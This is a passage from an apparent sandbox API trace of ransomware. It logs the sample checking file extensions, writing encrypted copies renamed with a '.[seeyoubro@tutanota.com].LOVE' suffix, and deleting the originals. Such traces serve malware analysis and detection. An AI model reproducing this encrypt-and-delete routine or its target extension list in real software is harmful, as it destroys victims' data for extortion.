(lpString1=".doc", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString=".docx") returned 5 [0195.528] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.528] lstrlenW (lpString=".pdf") returned 4 [0195.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString=".xls") returned 4 [0195.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString=".xlsx") returned 5 [0195.528] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.528] lstrlenW (lpString=".ppt") returned 4 [0195.528] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.528] lstrlenW (lpString=".zip") returned 4 [0195.528] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.528] lstrlenW (lpString=".rar") returned 4 [0195.528] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString=".bz2") returned 4 [0195.528] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.528] lstrlenW (lpString=".7z") returned 3 [0195.528] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString=".dbf") returned 4 [0195.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString=".1cd") returned 4 [0195.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString=".jpg") returned 4 [0195.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString=".doc") returned 4 [0195.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString=".docx") returned 5 [0195.529] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.529] lstrlenW (lpString=".pdf") returned 4 [0195.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString=".xls") returned 4 [0195.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString=".xlsx") returned 5 [0195.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.529] lstrlenW (lpString=".ppt") returned 4 [0195.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.529] lstrlenW (lpString=".zip") returned 4 [0195.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.529] lstrlenW (lpString=".rar") returned 4 [0195.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.530] lstrlenW (lpString=".bz2") returned 4 [0195.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.530] lstrlenW (lpString=".7z") returned 3 [0195.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.530] lstrlenW (lpString=".dbf") returned 4 [0195.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.530] lstrlenW (lpString=".1cd") returned 4 [0195.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.530] lstrlenW (lpString=".jpg") returned 4 [0195.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.530] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.530] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.564] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=82346) returned 1 [0195.564] CloseHandle (hObject=0x2e4) returned 1 [0195.565] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0195.565] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.565] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.565] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0195.589] GetLastError () returned 0x0 [0195.589] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0195.627] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0195.629] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.630] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.630] SetEndOfFile (hFile=0x2f4) returned 1 [0195.659] CloseHandle (hObject=0x2f4) returned 1 [0195.688] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.688] SetEndOfFile (hFile=0x2e4) returned 1 [0195.690] CloseHandle (hObject=0x2e4) returned 1 [0195.690] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.690] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.691] lstrlenW (lpString=".doc") returned 4 [0195.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString=".docx") returned 5 [0195.691] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.691] lstrlenW (lpString=".pdf") returned 4 [0195.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString=".xls") returned 4 [0195.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString=".xlsx") returned 5 [0195.691] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.691] lstrlenW (lpString=".ppt") returned 4 [0195.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.691] lstrlenW (lpString=".zip") returned 4 [0195.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.691] lstrlenW (lpString=".rar") returned 4 [0195.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString=".bz2") returned 4 [0195.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString=".7z") returned 3 [0195.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.691] lstrlenW (lpString=".dbf") returned 4 [0195.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.691] lstrlenW (lpString=".1cd") returned 4 [0195.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString=".jpg") returned 4 [0195.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString=".doc") returned 4 [0195.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString=".docx") returned 5 [0195.692] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.692] lstrlenW (lpString=".pdf") returned 4 [0195.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString=".xls") returned 4 [0195.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString=".xlsx") returned 5 [0195.692] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.692] lstrlenW (lpString=".ppt") returned 4 [0195.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString=".zip") returned 4 [0195.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.692] lstrlenW (lpString=".rar") returned 4 [0195.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString=".bz2") returned 4 [0195.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString=".7z") returned 3 [0195.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString=".dbf") returned 4 [0195.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.692] lstrlenW (lpString=".1cd") returned 4 [0195.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0195.693] lstrlenW (lpString=".jpg") returned 4 [0195.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.693] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.693] lstrlenW (lpString="eula.rtf") returned 8 [0195.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.693] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=3188) returned 1 [0195.693] CloseHandle (hObject=0x2e4) returned 1 [0195.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0195.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.694] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.694] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.694] GetLastError () returned 0x0 [0195.694] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xc74, lpOverlapped=0x0) returned 1 [0195.728] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xc80, lpOverlapped=0x0) returned 1 [0195.729] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.729] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.729] SetEndOfFile (hFile=0x2f8) returned 1 [0195.729] CloseHandle (hObject=0x2f8) returned 1 [0195.730] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.730] SetEndOfFile (hFile=0x2e4) returned 1 [0195.731] CloseHandle (hObject=0x2e4) returned 1 [0195.731] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.731] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0195.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.731] lstrlenW (lpString=".doc") returned 4 [0195.731] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.731] lstrlenW (lpString=".docx") returned 5 [0195.731] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.731] lstrlenW (lpString=".pdf") returned 4 [0195.732] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString=".xls") returned 4 [0195.732] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.732] lstrlenW (lpString=".xlsx") returned 5 [0195.732] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.732] lstrlenW (lpString=".ppt") returned 4 [0195.732] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString=".zip") returned 4 [0195.732] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.732] lstrlenW (lpString=".rar") returned 4 [0195.732] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString=".bz2") returned 4 [0195.732] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString=".7z") returned 3 [0195.732] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString=".dbf") returned 4 [0195.732] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString=".1cd") returned 4 [0195.732] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString=".jpg") returned 4 [0195.732] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.732] lstrlenW (lpString=".doc") returned 4 [0195.733] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString=".docx") returned 5 [0195.733] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.733] lstrlenW (lpString=".pdf") returned 4 [0195.733] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString=".xls") returned 4 [0195.733] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.733] lstrlenW (lpString=".xlsx") returned 5 [0195.733] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.733] lstrlenW (lpString=".ppt") returned 4 [0195.733] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.733] lstrlenW (lpString=".zip") returned 4 [0195.733] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.733] lstrlenW (lpString=".rar") returned 4 [0195.733] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString=".bz2") returned 4 [0195.733] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString=".7z") returned 3 [0195.733] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0195.733] lstrlenW (lpString=".dbf") returned 4 [0195.733] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0196.138] lstrlenW (lpString=".1cd") returned 4 [0196.138] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0196.138] lstrlenW (lpString=".jpg") returned 4 [0196.138] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.138] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.138] lstrlenW (lpString="eula.rtf") returned 8 [0196.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0196.138] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=6851) returned 1 [0196.138] CloseHandle (hObject=0x2f4) returned 1 [0196.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0196.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0196.139] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.139] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.139] GetLastError () returned 0x0 [0196.139] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0196.149] WriteFile (in: hFile=0x304, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0196.150] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.150] WriteFile (in: hFile=0x304, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.150] SetEndOfFile (hFile=0x304) returned 1 [0196.151] CloseHandle (hObject=0x304) returned 1 [0196.151] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.151] SetEndOfFile (hFile=0x2f4) returned 1 [0196.152] CloseHandle (hObject=0x2f4) returned 1 [0196.152] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.152] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0196.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.152] lstrlenW (lpString=".doc") returned 4 [0196.152] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString=".docx") returned 5 [0196.153] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.153] lstrlenW (lpString=".pdf") returned 4 [0196.153] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString=".xls") returned 4 [0196.153] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.153] lstrlenW (lpString=".xlsx") returned 5 [0196.153] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.153] lstrlenW (lpString=".ppt") returned 4 [0196.153] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.153] lstrlenW (lpString=".zip") returned 4 [0196.153] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.153] lstrlenW (lpString=".rar") returned 4 [0196.153] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString=".bz2") returned 4 [0196.153] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString=".7z") returned 3 [0196.153] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.153] lstrlenW (lpString=".dbf") returned 4 [0196.153] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.153] lstrlenW (lpString=".1cd") returned 4 [0196.153] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.153] lstrlenW (lpString=".jpg") returned 4 [0196.153] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString=".doc") returned 4 [0196.154] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString=".docx") returned 5 [0196.154] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.154] lstrlenW (lpString=".pdf") returned 4 [0196.154] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString=".xls") returned 4 [0196.154] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.154] lstrlenW 